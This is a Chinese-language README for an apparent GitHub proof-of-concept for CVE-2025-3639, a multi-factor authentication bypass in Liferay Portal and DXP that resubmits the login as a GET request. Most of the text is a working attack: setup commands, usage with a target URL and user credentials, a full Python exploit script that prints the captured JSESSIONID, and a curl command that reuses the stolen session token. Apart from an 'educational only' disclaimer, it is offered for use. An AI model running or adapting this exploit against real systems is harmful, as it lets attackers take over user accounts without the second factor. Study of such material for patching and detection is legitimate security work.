该仓库包含 CVE-2025-3639 的概念验证 (PoC),这是 Liferay Portal(版本 7.3.0–7.4.3.132)和 Liferay DXP(从 2024.Q1 到 2025.Q1.6 的多个版本)中的一个登录绕过漏洞。该 PoC 演示了拥有有效凭据的未认证用户如何通过将 POST 请求修改为 GET 请求来绕过多因素认证 (MFA),从而可能获得对用户帐户的未授权访问。
警告:此 PoC 仅用于教育目的。对该漏洞的未授权测试或利用是非法且不道德的。仅在获得系统所有者明确书面许可的情况下使用。
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
克隆仓库:
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
确保已安装 Python 3 和 requests 库:
pip3 install requests
使用适当的参数运行 PoC 脚本(将 <target_url>、<username> 和 <password> 替换为目标 Liferay 实例 URL 和有效凭据)。
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target:Liferay Portal/DXP 实例的 URL(例如 http://example.com)。--username:目标实例的有效用户名。--password:该用户名的有效密码。python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
成功:如果漏洞利用成功,脚本将返回一个有效的会话令牌或一条指示已无需 MFA 即可访问用户帐户的成功消息。
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
失败:如果服务器返回错误(例如 401 Unauthorized 或 403 Forbidden),则该实例可能不易受攻击,或者 MFA 未启用。
监控流量:使用 Wireshark 等工具检查 HTTP 流量:
sudo wireshark -f "tcp port 80 or tcp port 443"
以下是 poc.py 的示例代码:
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
本项目仅用于教育目的。作者不对此 PoC 的任何未授权或非法使用负责。在测试前始终获取系统所有者的明确许可。